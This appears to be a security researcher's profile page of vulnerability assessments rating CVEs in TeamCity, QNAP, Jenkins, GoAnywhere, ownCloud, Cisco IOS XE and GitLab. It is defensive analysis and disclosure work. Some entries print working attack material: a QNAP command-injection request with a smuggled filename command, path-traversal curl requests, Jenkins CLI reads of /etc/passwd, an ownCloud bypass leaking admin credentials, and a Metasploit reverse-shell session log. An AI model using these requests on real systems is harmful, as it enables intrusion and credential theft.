sfewer-r7 (81)

Last Login: April 11, 2024
Assessments
27
Score
81

sfewer-r7's Latest (20) Contributions

Sort by:
Filter by:
2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

CVE-2024-27198, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE. Compromising a TeamCity server allows an attacker full control over all TeamCity projects, builds, agents and artifacts, and as such is a suitable vector to position an attacker to perform a supply chain attack.

2
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very High
Technical Analysis

CVE-2024-27199, allows for a limited amount of information disclosure and a limited amount of system modification, including the ability for an unauthenticated attacker to replace the HTTPS certificate in a vulnerable TeamCity server with a certificate of the attacker’s choosing.

1
Ratings
Technical Analysis

Based on writing the Metasploit exploit module for this vulnerability, I have rated the exploitability as very high, as leveraging CVE-2203-1709 to create a new administrator account is trivial. To leverage the vulnerability to get RCE requires more steps, but it is not that complex and exploitation appears reliable. The attacker value for this vulnerability is also very high given the nature of the target software.

4
Ratings
Technical Analysis

An unauthenticated command injection vulnerability exists in the quick.cgi component of the web administration server for QNAP QTS and QuTS Hero operating systems, used by numerous QNAP NAS devices. The quick.cgi component exposes functionality to remotely provision a QNAP device. An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command injection.

The vulnerability affects QTS 5.1.x, prior to the vendor patch QTS 5.1.5.2645 build 20240116, and QuTS hero h5.1.x, prior to the vendor patch QuTS hero h5.1.5.2647 build 20240118.

A HTTP(S) POST request targeting the uploaf_firmware_image functionality of quick.cgi can trigger a command injection vulnerability if the user agent contains both the words Mozilla and Macintosh. This is because a file name passed as part of the POST request multipart form-data will be URL decoded if the user agent matches these special words. This allows for a double quote character (URL encoded as %22) to be supplied as part of the file name, allowing a command string to be escaped and command injection to occur.

An example request that exploits this vulnerability is as follows:

POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1
Host: 192.168.86.42:8080
User-Agent: Mozilla Macintosh
Accept: */*
Content-Length: 164
Content-Type: multipart/form-data;boundary="avssqwfz"

--avssqwfz
Content-Disposition: form-data; xxpcscma="field2"; zczqildp="%22$($(echo -n aWQ=|base64 -d)>a)%22"
Content-Type: text/plain

skfqduny
--avssqwfz–

A detailed analysis and PoC can be found in our Rapid7 disclosure.

2
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    Very High
Technical Analysis

CVE-2024-24942 is described by the vendor:

Path traversal allowed reading data within JAR archives.

If we decompile and diff the REST API from TeamCity 2023.11.2 (C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api\server\rest-api-2023.09-147486.jar) against TeamCity 2023.11.3 (C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api\server\rest-api-2023.09-147512.jar), we can see the SwaggerUI class has been modified.

And reading the below diff, if appears this issue lies in an attacker being able to supply an arbitrary path when getting swagger resources from an unauthenticated endpoint.

--- "a/C:\\Users\\Administrator\\Desktop\\Decomp_2023.11.2_restapi\\jetbrains\\buildServer\\server\\rest\\swagger\\SwaggerUI.java"
+++ "b/C:\\Users\\Administrator\\Desktop\\Decomp_2023.11.3_restapi\\jetbrains\\buildServer\\server\\rest\\swagger\\SwaggerUI.java"
@@ -26,7 +26,7 @@ import javax.ws.rs.PathParam;
 import javax.ws.rs.Produces;
 import javax.ws.rs.core.Context;
 import javax.ws.rs.core.UriInfo;
-import jetbrains.buildServer.server.rest.SwaggerUIUtil;
+import jetbrains.buildServer.server.rest.swagger.SwaggerUtil;

 @Path(value="/app/rest/swaggerui")
 @Api(hidden=true)
@@ -42,7 +42,7 @@ public class SwaggerUI {
     @GET
     @Produces(value={"text/html"})
     public String serveSwaggerUI() {
-        try (InputStream input = SwaggerUIUtil.getFileFromResources("index.html");){
+        try (InputStream input = SwaggerUtil.getFileFromResources("index.html");){
             String string = StreamUtil.readText((InputStream)input, (String)"UTF-8");
             return string;
         }
@@ -62,7 +62,7 @@ public class SwaggerUI {
         if (path.equals("index.html")) {
             return this.serveSwaggerUI();
         }
-        try (InputStream input = SwaggerUIUtil.getFileFromResources(path);){
+        try (InputStream input = SwaggerUtil.getFileFromResources(path);){
             if (path.endsWith(".js") || path.endsWith(".css")) {
                 String string = StreamUtil.readText((InputStream)input, (String)"UTF-8");
                 return string;

We can see in the patched code, that SwaggerUIUtil.getFileFromResources calls a helper method isValidResourcePath. This helper method will detect the presence of double dot notation in a path, and cause an exception to be thrown, preventing the use of double dot notation during SwaggerUtil.class.getClassLoader().getResourceAsStream.

--- "a/C:\\Users\\Administrator\\Desktop\\Decomp_2023.11.2_restapi\\jetbrains\\buildServer\\server\\rest\\SwaggerUIUtil.java"
+++ "b/C:\\Users\\Administrator\\Desktop\\Decomp_2023.11.3_restapi\\jetbrains\\buildServer\\server\\rest\\swagger\\SwaggerUtil.java"
@@ -1,24 +1,245 @@
 /*
  * Decompiled with CFR 0.152.
+ *
+ * Could not load the following classes:
+ *  com.intellij.openapi.diagnostic.Logger
+ *  io.swagger.models.Model
+ *  io.swagger.models.Operation
+ *  io.swagger.models.Path
+ *  io.swagger.models.RefModel
+ *  io.swagger.models.Response
+ *  io.swagger.models.Swagger
+ *  io.swagger.models.parameters.BodyParameter
+ *  io.swagger.models.properties.ArrayProperty
+ *  io.swagger.models.properties.MapProperty
+ *  io.swagger.models.properties.Property
+ *  io.swagger.models.properties.RefProperty
+ *  org.jetbrains.annotations.NotNull
  */
-package jetbrains.buildServer.server.rest;
+package jetbrains.buildServer.server.rest.swagger;

+import com.intellij.openapi.diagnostic.Logger;
+import io.swagger.models.Model;
+import io.swagger.models.Operation;
+import io.swagger.models.Path;
+import io.swagger.models.RefModel;
+import io.swagger.models.Response;
+import io.swagger.models.Swagger;
+import io.swagger.models.parameters.BodyParameter;
+import io.swagger.models.properties.ArrayProperty;
+import io.swagger.models.properties.MapProperty;
+import io.swagger.models.properties.Property;
+import io.swagger.models.properties.RefProperty;
 import java.io.InputStream;
-import java.net.URL;
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import org.jetbrains.annotations.NotNull;

-public class SwaggerUIUtil {
+public class SwaggerUtil {
+    private static final Logger LOG = Logger.getInstance((String)SwaggerUtil.class.getName());
     public static final String INDEX = "index.html";
-    public static final String RESOURCE_PATH = "swagger/";
+    private static final String RESOURCE_PATH = "swagger/";

-    public static InputStream getFileFromResources(String path) {
-        String fullPath = RESOURCE_PATH + path;
-        ClassLoader classLoader = SwaggerUIUtil.class.getClassLoader();
-        URL resource = classLoader.getResource(fullPath);
-        if (resource == null) {
+    static void doAnalyzeSwaggerDefinitionReferences(Swagger swagger) {
+        HashSet<String> usedReferences = new HashSet<String>();
+        for (Path path : swagger.getPaths().values()) {
+            for (Operation operation : path.getOperations()) {
+                String ref;
+                Model schema;
+                Object parameter2;
+                List parameters = operation.getParameters();
+                for (Object parameter2 : parameters) {
+                    BodyParameter bp;
+                    if (!(parameter2 instanceof BodyParameter) || !((schema = (bp = (BodyParameter)parameter2).getSchema()) instanceof RefModel)) continue;
+                    RefModel rm = (RefModel)schema;
+                    ref = rm.getSimpleRef();
+                    usedReferences.add(ref);
+                }
+                Map responses = operation.getResponses();
+                parameter2 = responses.values().iterator();
+                while (parameter2.hasNext()) {
+                    Response response = (Response)parameter2.next();
+                    schema = response.getSchema();
+                    if (!(schema instanceof RefProperty)) continue;
+                    RefProperty rp = (RefProperty)schema;
+                    ref = rp.getSimpleRef();
+                    usedReferences.add(ref);
+                }
+            }
+        }
+        Map definitions = swagger.getDefinitions();
+        ArrayDeque<String> queue = new ArrayDeque<String>();
+        queue.addAll(usedReferences);
+        while (!queue.isEmpty()) {
+            String name = (String)queue.pop();
+            Model model = (Model)definitions.get(name);
+            if (model == null) {
+                LOG.warn("Swagger definition '" + name + "' referenced but not found.");
+                continue;
+            }
+            Map properties = model.getProperties();
+            if (properties == null) continue;
+            for (Property property : properties.values()) {
+                String ref = SwaggerUtil.getPropertySimpleRef(property);
+                if (ref == null || !usedReferences.add(ref)) continue;
+                queue.add(ref);
+            }
+        }
+        int used = usedReferences.size();
+        int total = definitions.size();
+        LOG.info("Swagger definitions stats: Total=" + total + " Used=" + used);
+        if (used != total) {
+            LinkedHashSet unused = new LinkedHashSet(definitions.keySet());
+            unused.removeAll(usedReferences);
+            if (unused.size() > 30) {
+                LOG.warn("Too much unused definitions. Enable debug logs to see them");
+                LOG.debug("Unused definitions: " + unused);
+            } else {
+                LOG.info("Unused definitions: " + unused);
+            }
+        }
+    }
+
+    static <K extends Comparable<? super K>, V> Map<K, V> getOrderedMap(Map<K, V> input) {
+        if (input == null) {
+            return null;
+        }
+        LinkedHashMap<Comparable, V> sorted = new LinkedHashMap<Comparable, V>();
+        ArrayList<K> keys = new ArrayList<K>();
+        keys.addAll(input.keySet());
+        Collections.sort(keys);
+        for (Comparable key : keys) {
+            sorted.put(key, input.get(key));
+        }
+        return sorted;
+    }
+
+    private static String getPropertySimpleRef(Property property) {
+        if (property instanceof RefProperty) {
+            RefProperty rp = (RefProperty)property;
+            return rp.getSimpleRef();
+        }
+        if (property instanceof ArrayProperty) {
+            ArrayProperty ap = (ArrayProperty)property;
+            Property items = ap.getItems();
+            return SwaggerUtil.getPropertySimpleRef(items);
+        }
+        if (property instanceof MapProperty) {
+            MapProperty mp = (MapProperty)property;
+            Property items = mp.getAdditionalProperties();
+            return SwaggerUtil.getPropertySimpleRef(items);
+        }
+        return null;
+    }
+
+    @NotNull
+    public static InputStream getFileFromResources(@NotNull String path) {
+        String fullPath;
+        if (path == null) {
+            SwaggerUtil.$$$reportNull$$$0(0);
+        }
+        if (!SwaggerUtil.isValidResourcePath(fullPath = RESOURCE_PATH + path)) {
             throw new IllegalArgumentException(String.format("File %s was not found", fullPath));
         }
-        InputStream stream = classLoader.getResourceAsStream(fullPath);
-        return stream;
+        InputStream inputStream = Objects.requireNonNull(SwaggerUtil.class.getClassLoader().getResourceAsStream(fullPath));
+        if (inputStream == null) {
+            SwaggerUtil.$$$reportNull$$$0(1);
+        }
+        return inputStream;
+    }
+
+    private static boolean isValidResourcePath(@NotNull String path) {
+        if (path == null) {
+            SwaggerUtil.$$$reportNull$$$0(2);
+        }
+        return !path.contains("..") && SwaggerUtil.class.getClassLoader().getResource(path) != null;
+    }
+

We can reach this via an unauthenticated HTTP(S) GET request to the endpoint /app/rest/swaggerui, and provide an arbitrary path parameter, delineated via a semicolon character, e.g. ;/../schema.graphqls. The below curl request will hit the target endpoint.

curl -ik --path-as-is http://172.29.236.183:8111/app/rest/swaggerui;/../schema.graphqls

In a debugger, we can see the request being processed by a vulnerable TeamCity 2023.11.2 server.

stack1.png

However we were unable to successfully read a file by using double dot notation.

>curl -ik --path-as-is http://172.29.236.183:8111/app/rest/swaggerui;/../schema.graphqls
HTTP/1.1 500
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: text/plain
Transfer-Encoding: chunked
Date: Mon, 12 Feb 2024 17:13:15 GMT
Connection: close

Error has occurred during request processing, status code: 500 (Internal Server Error).
Details: java.lang.IllegalArgumentException: File swagger/../schema.graphqls was not found
Error occurred while processing this request.

As such, I have tagged this as Difficult to weaponize and given an attacker value rating of very low. I marked Exploitability as very high, as you can reach the vulnerable code via a single unauthenticated HTTP(S) request.

2
Ratings
Technical Analysis

Looking into this vulnerability, there are a number of factors to consider when gauging exploitability. Horizion3ai have a good blog post going into detail on this, and the original vendor advisory also goes into detail on the constraints of successful exploitation.

While the vulnerability does allow for arbitrary file reading, there are several constraints that may make an attackers ability to read arbitrary files less likely to succeed. The main factors are the privileges the attacker has on the target Jenkins system (if any), the target platform that Jenkins is running on, and the type of file the attacker wants to read. Finally, based on what the attacker can successfully read, the attacker must then leverage this somehow, e.g. if they read an encrypted password, are they able to crack it? If they read a secret key from a text file, do they also need to successfully read encrypted binary files?

At a minimum, an unauthenticated attacker can read up to 3 lines of an arbitrary text file, for example the following 3 CLI requests will return the first, second and third line of the text file /etc/passwd (Jenkins is running in a docker container for this example). The CLI command who-am-i, enable-job, and keep-build are used to read the first, second and third line numbers respectively – although other commands such as help will return the first and second line of a file.

$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 who-am-i @/etc/passwd

ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
java -jar jenkins-cli.jar who-am-i
Reports your credential and permissions.
$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 enable-job @/etc/passwd

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar enable-job NAME
Enables a job.
 NAME : Job name
$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 keep-build @/etc/passwd

ERROR: Too many arguments: bin:x:2:2:bin:/bin:/usr/sbin/nologin
java -jar jenkins-cli.jar keep-build NAME BUILD#
Mark the build to keep the build forever.
 NAME   : Item name
 BUILD# : Build number

The first 3 lines of the file can then be reconstituted as follows:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

If an attacker has an account with Overall/Read permission on the target Jenkins system, the entire contents of a text file can be read, via the CLI command connect-node, as shown below:

Note: When leveraging the CLI command connect-node, the returned lines of text are displayed out of order to that of the original file.

$ java -jar jenkins-cli.jar -auth admin:qwerty12345 -s http://192.168.86.70:8080 connect-node @/etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

The issue is complicated further if the attacker wants to read a binary file, as the target systems string encoding method may remove unsupported bytes in the string output. As noted in the original vendor advisory, Linux will use UTF-8 by default which may remove as much as 50% of all encoded characters, while Windows uses Windows-1252 which will remove only 5 out of the 256 possible byte values being returned.

The vendor advisory gives several examples of how to leverage this vulnerability to achieve something (such as RCE), but they all require the ability to successfully read a binary file. While not impossible, in may scenarios it may not be practical for an attacker to achieve this. The Horizion3ai blog also has some good detail on these constraints too.

We can summarize the constraints an attacker will face when exploiting this vulnerability with the following table:

Note, “Authenticated” in this context means an attacker has privileges on the Jenkins system with the Overall/Read permission.

Attacker Privileges File Type Target Platform Impact
Unauthenticated Text Linux Can read the first 3 lines of any text file
Unauthenticated Text Windows Can read the first 3 lines of any text file
Unauthenticated Binary Linux Can read some contents, the target platform character encoding is likely UTF-8, so half of the 256 possible bytes will be returned with an incorrect value, making recovery of the original file unlikely
Unauthenticated Binary Windows Can read some contents, the target platform character encoding is likely Windows-1252, so only 5 of the 256 possible bytes will be returned with an incorrect value, making recovery of the original more likely than the Linux counterpart
Authenticated Text Linux Can read the entire contents of any text file
Authenticated Text Windows Can read the entire contents of any text file
Authenticated Binary Linux Can read the entire contents of any file, the target platform character encoding is likely UTF-8, so half of the 256 possible bytes will be returned with an incorrect value, making recovery of the original file unlikely
Authenticated Binary Windows Can read the entire contents of any file, the target platform character encoding is likely Windows-1252, so only 5 of the 256 possible bytes will be returned with an incorrect value, making recovery of the original more likely than the Linux counterpart

It is currently unknown if an unauthenticated attacker can compromise a Jenkins system by only reading the first 3 lines of a text file via this vulnerability.

2
Ratings
Technical Analysis

Based on the technical writeup and PoC from Horizion3, this vulnerability can be exploited by an unauthenticated attacker with access to the management interface of GoAnywhere MFT (by default the management interface is available over TCP port 8000 for HTTP and TCP port 8001 for HTTPS), to create a new administrator account on the system. The attacker value is rated as very high given this product is a file transfer solution, and has been targeted by ransomware groups such a Cl0p in the past. I rated the exploitability as high given the management interface must be exposed for exploitation to succeed, which it may not be in all environments.

The vulnerabilities lies in the endpoint /goanywhere/wizard/InitialAccountSetup.xhtml. This endpoint is used during the products initial setup, to create the first administrator user. After setup has completed, this endpoint is no longer available. However using a Tomcat path traversal technique of inserting the path segment ..;, allows the endpoint to be reached successfully via the path /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml. A HTTP POST request can then be made by an unauthenticated attacker to create a new administrator account with a password of the attackers choosing.

2
Ratings
  • Attacker Value
    High
  • Exploitability
    Low
Technical Analysis

Based on our Rapid7 Analysis, the attacker value of this vulnerability is High, as successful exploitation can result in remote code execution via arbitrary file uploads, such as uploading a web shell or similar. However I have rated the exploitability as Low as there are a number or prerequisites that must be met for a Struts based web application to be vulnerable. Currently we don’t have any concrete examples of production applications that are vulnerable to CVE-2023-50164. This may change as the vulnerability comes under more scrutiny and more Struts based applications are examined.

4
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

Update Dec 1, 2023: I have updated this assessment to reflect that vulnerable Docker based installations are indeed exploitable with a trivial modification of the original exploit technique. I have adjusted the exploitability rating and attacker value rating to reflect this new information. I also clarified that the addition of phpinfo to the PHP disabled functions list is a recent addition by ownCloud in response to the vulnerability, and it has been back ported to older Docker images.

Overview

Some installations of ownCloud may contain a vulnerable graphapi application which exposes a PHP endpoint /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php that allows the output of the phpinfo() function to be displayed to an attacker. This output may contain sensitive information, such as secrets held in environment variables. How the target endpoint is successfully reached depends on how the ownCloud installation was performed.

ownCloud may be installed via one of two methods as described in the vendor documentation, either via Docker or via a manual installation. How ownCloud was installed will impact its vulnerability.

Installation via Docker

When a vulnerable ownCloud Docker image is run as a Docker container, a vulnerable graphapi application will be present by default (we tested ownCloud 10.13.0 and 10.12.1), however any attempt to reach the vulnerable endpoint will result in a 302 redirect to the login page. This does not happen against a manual installation of a vulnerable ownCloud, as the Docker image contains some additional entries in the file /var/www/owncloud/.htaccess which redirect all requests that don’t match some rewrite rules, to a dispatcher via index.php, which in turn was observed to perform the 302 redirect.

ErrorDocument 403 /core/templates/403.php
ErrorDocument 404 /core/templates/404.php
<IfModule mod_rewrite.c>
 Options -MultiViews
 RewriteRule ^favicon.ico$ core/img/favicon.ico [L]
 RewriteRule ^core/js/oc.js$ index.php [PT,E=PATH_INFO:$1]
 RewriteRule ^core/preview.png$ index.php [PT,E=PATH_INFO:$1]
 RewriteCond %{REQUEST_URI} !\.(css|js|svg|gif|png|html|ttf|woff|ico|jpg|jpeg|json|properties)$
 RewriteCond %{REQUEST_URI} !\.(min|js|auto)\.map$
 RewriteCond %{REQUEST_URI} !^/core/img/favicon\.ico$
 RewriteCond %{REQUEST_URI} !^/robots\.txt$
 RewriteCond %{REQUEST_URI} !^/remote\.php
 RewriteCond %{REQUEST_URI} !^/public\.php
 RewriteCond %{REQUEST_URI} !^/cron\.php
 RewriteCond %{REQUEST_URI} !^/core/ajax/update\.php
 RewriteCond %{REQUEST_URI} !^/status\.php$
 RewriteCond %{REQUEST_URI} !^/ocs/v1\.php
 RewriteCond %{REQUEST_URI} !^/ocs/v2\.php
 RewriteCond %{REQUEST_URI} !^/updater/
 RewriteCond %{REQUEST_URI} !^/ocs-provider/
 RewriteCond %{REQUEST_URI} !^/ocm-provider/
 RewriteCond %{REQUEST_URI} !^/\.well-known/(acme-challenge|pki-validation)/.*
 RewriteRule . index.php [PT,E=PATH_INFO:$1]
 RewriteBase /
 <IfModule mod_env.c>
   SetEnv front_controller_active true
   <IfModule mod_dir.c>
     DirectorySlash off
   </IfModule>
 </IfModule>
</IfModule>

While it was initially believed that avoiding the Apache rewrite rule that generated a 302 response was not possible, it has now been discovered that a simple modification to the target URI path can bypass the rewrite rule and successfully reach the target endpoint. We can see above that several file extensions have a rewrite condition that will avoid the rewrite rule if they are passed. Specifically paths that end in .css or .js (and so on) will not be subject to the rewrite condition. In order to successfully call the target PHP page, while also ending a URI path with a file extension that is not .php, we can append a forward slash followed by the file extension that will bypass the rewrite condition. For example appending /.css to the target URI will allow the GetPhpInfo.php page to be called while still ending the URI in a file extension that bypasses the rewrite condition.

This will reveal the OWNCLOUD_ADMIN_USERNAME and OWNCLOUD_ADMIN_PASSWORD, allowing an attacker to login to the ownCloud system as an Administrator user, as shown below:

ownCloud_hax2.png

Mitigating with PHP disabled functions

It appears ownCloud has been updating older Docker images (we tested 10.13.0 and 10.12.2) to add the PHP function phpinfo to the disable_functions list. If this is in place, even if you can reach the vulnerable endpoint, you would get no content returned.

root@b14ad59db823:/var/www/owncloud# cat /etc/php/7.4/apache2/conf.d/99-owncloud-apache.ini 
= pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,system,phpinfo,show_source,fopen_with_path,
dbmopen,dbase_open,filepro_retrieve,posix_mkfifo
root@b14ad59db823:/var/www/owncloud#

Notably, we also inspected an older Docker image for version 10.10.0 and 10.12.1, and found that these versions do not contain ‘phpinfo’ in the disable_functions list.

For this mitigation to be effective, the running Docker container would have to use a Docker image that has been recently updated to include this mitigation. So containers based on images that did not have this mitigation applied at the time the image was downloaded, will not have the mitigation in place.

Manual Installation

When manually installing ownCloud (we tested 10.13.0 for the manual installation), the graphapi application is not installed by default (unlike the Docker counterpart). You must manually download and install the vulnerable component. After this is done, it is possible to reach the vulnerable endpoint via a simple GET request, resulting in the display of the apache2 processes environment variables.

Exploitability

It seems more likely that sensitive environment variables would be present in a Docker based installation of ownCloud, as this is a common technique used to pass secrets to a Docker container at runtime. In addition, Docker based ownCloud images include the vulnerable graphapi component by default. While the original public exploit did not work against Docker based installations, we now know it is possible to exploit a Docker based installation. This new development significantly increases both the attacker value and exploitability of this vulnerability.

Misc

It is also worth pointing out that the public PoC uses the endpoint /owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php. Note the /owncloud/ path segment at the start of the URI. If ownCloud has been installed either via Docker, or manually as per the official instructions, this path segment is not expected to be present. The expected URI should be /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php. Researcher Will Dormann has noted this anomaly also.

1
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very High
Technical Analysis

Based on performing an analysis of this vulnerability, I set the attacker value of this to Medium, as while we can leak a NTLM hash, it may not be feasible to either crack the hash if the password is a complex value, and it may not be feasible to pass-the-hash if their is no suitable target service the attacker can leverage for a pass-the-hash attack. The exploitability of this vulnerability is Very High, as it is unauthenticated and trivial to perform.

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    High
Technical Analysis

While this vulnerability requires authentication, it can be chained with CVE-2023-20198 to achieve unauthenticated RCE on the target, as shown via the Metasploit exploit:

msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'sqVXixoV' with password 'ZiPbsXBu'
[*] Removing user 'sqVXixoV'
[*] Sending stage (3045380 bytes) to 192.168.86.58
[*] Meterpreter session 6 opened (192.168.86.42:4444 -> 192.168.86.58:64970) at 2023-11-06 17:01:06 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : router
OS           :  (Linux 4.19.106)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

I have marked the exploitability for this vulnerability as High, as the vulnerable Web UI component may not be enabled by default. The attacker value for this vulnerability is Very High, given the target devices running IOS XE are enterprise routers/switches/access points.

3
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

Based upon analyzing the public exploit and the root cause of the vulnerability, I have rated the exploitability as very high as this vuln is unauthenticated and is trivial to exploit with the public exploit. The attacker value is high as this service is used in enterprise environments, Shadowserver reports over 3000 vulnerable instances online as of Oct 30, 2023

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Based on our Rapid7 Analysis and having reproduced the vulnerability, the attacker value of this vulnerability is very high, as successful exploitation leads to a total loss of both integrity and confidentiality of all data on the Confluence server. The exploitability rating is also very high as the vulnerability is trivial to exploit, only requiring two simple cURL requests, and it is unauthenticated.

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Based on our Rapid7 Analysis, the attacker value for this vulnerability is very high due to the target software being a file transfer solution. The exploitability rating for this vulnerability is also very high as it is trivially exploitable with a single HTTP(S) POST request by an unauthenticated attacker.

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Based on the accompanying Rapid7 Analysis, the attacker value for CVE-2023-42793 is very high given the target product is a CI/CD server, and as such may contain sanative information such as source code or signing keys, in addition to being a vector for conducting a supply chain attack. The exploitability for this vulnerability is also very high, as the product is vulnerable in a default configuration and an attacker can trivially exploit it with a sequence of cURL commands.

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Low
Technical Analysis

On September 18, 2023, GitLab released an advisory for CVE-2023-5009, a vulnerability that affects GitLab Enterprise Edition (EE) from versions 13.12 and before 16.2.7, and also from versions 16.3 and before 16.3.4. Notably version 13.12 was released May 22, 2021, which means this vulnerability has been present in the code base for 2 years and 4 months. The open source commit that fixes the issue can be found here.

CVE-2023-5009 is described as a bypass of CVE-2023-3932 which was patched two months prior. Both issues allow an attacker, who is authenticated as a user on a GitLab EE server, to run pipelines under the context of another arbitrary user on the same GitLab instance. The impact of doing this would allow an attacker to access resources, such as private source code or other secrets, owned by a target user.

Pipelines allow GitLab to perform Continuous Integration (CI) and Continuous Delivery (CD). Pipelines define the work to perform and this work is then executed by Runners. A detailed walkthrough of how to exploit the original issue CVE-2023-3932 is available, and shows how an attacker can create a malicious self hosted runner that is capable of accessing private data from a target user.

Of note is how, according to the advisory, the new bypass CVE-2023-5009 requires two features in GitLab EE to be enabled, specifically:

  • Security Policies
  • Direct Transfers

“Security Policies” require an Ultimate edition license of GitLab EE and are enabled by default. They define how scans are performed when a pipeline job runs.

When enabled, the “Direct Transfers” feature allows a user to transfer ownership of a project to another user. When testing a vulnerable GitLab EE server version 16.3.3, it was noted that the “Direct Transfers” feature was disabled by default. An admin user must enable this feature for it to be available to other users. It is likely that this non default requirement will reduce the amount of impacted servers. In addition the attacker must have authenticated access to an account on a vulnerable server. While some GitLab instances allow new users to sign up (and by default this is allowed), this may not be possible in all cases when the GitLab admin has disabled new user signups.

Based on this, the attacker value for this vulnerability is high as it allows for the discovery of private data, however the exploitability is lower as not all vulnerable instances of GitLab EE will be configured to enable “Direct Transfers”, nor will an attacker have a valid user account on the server. This will limit the ability for attackers to exploit this vulnerability broadly, however targeted attacks are more likely.

2
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

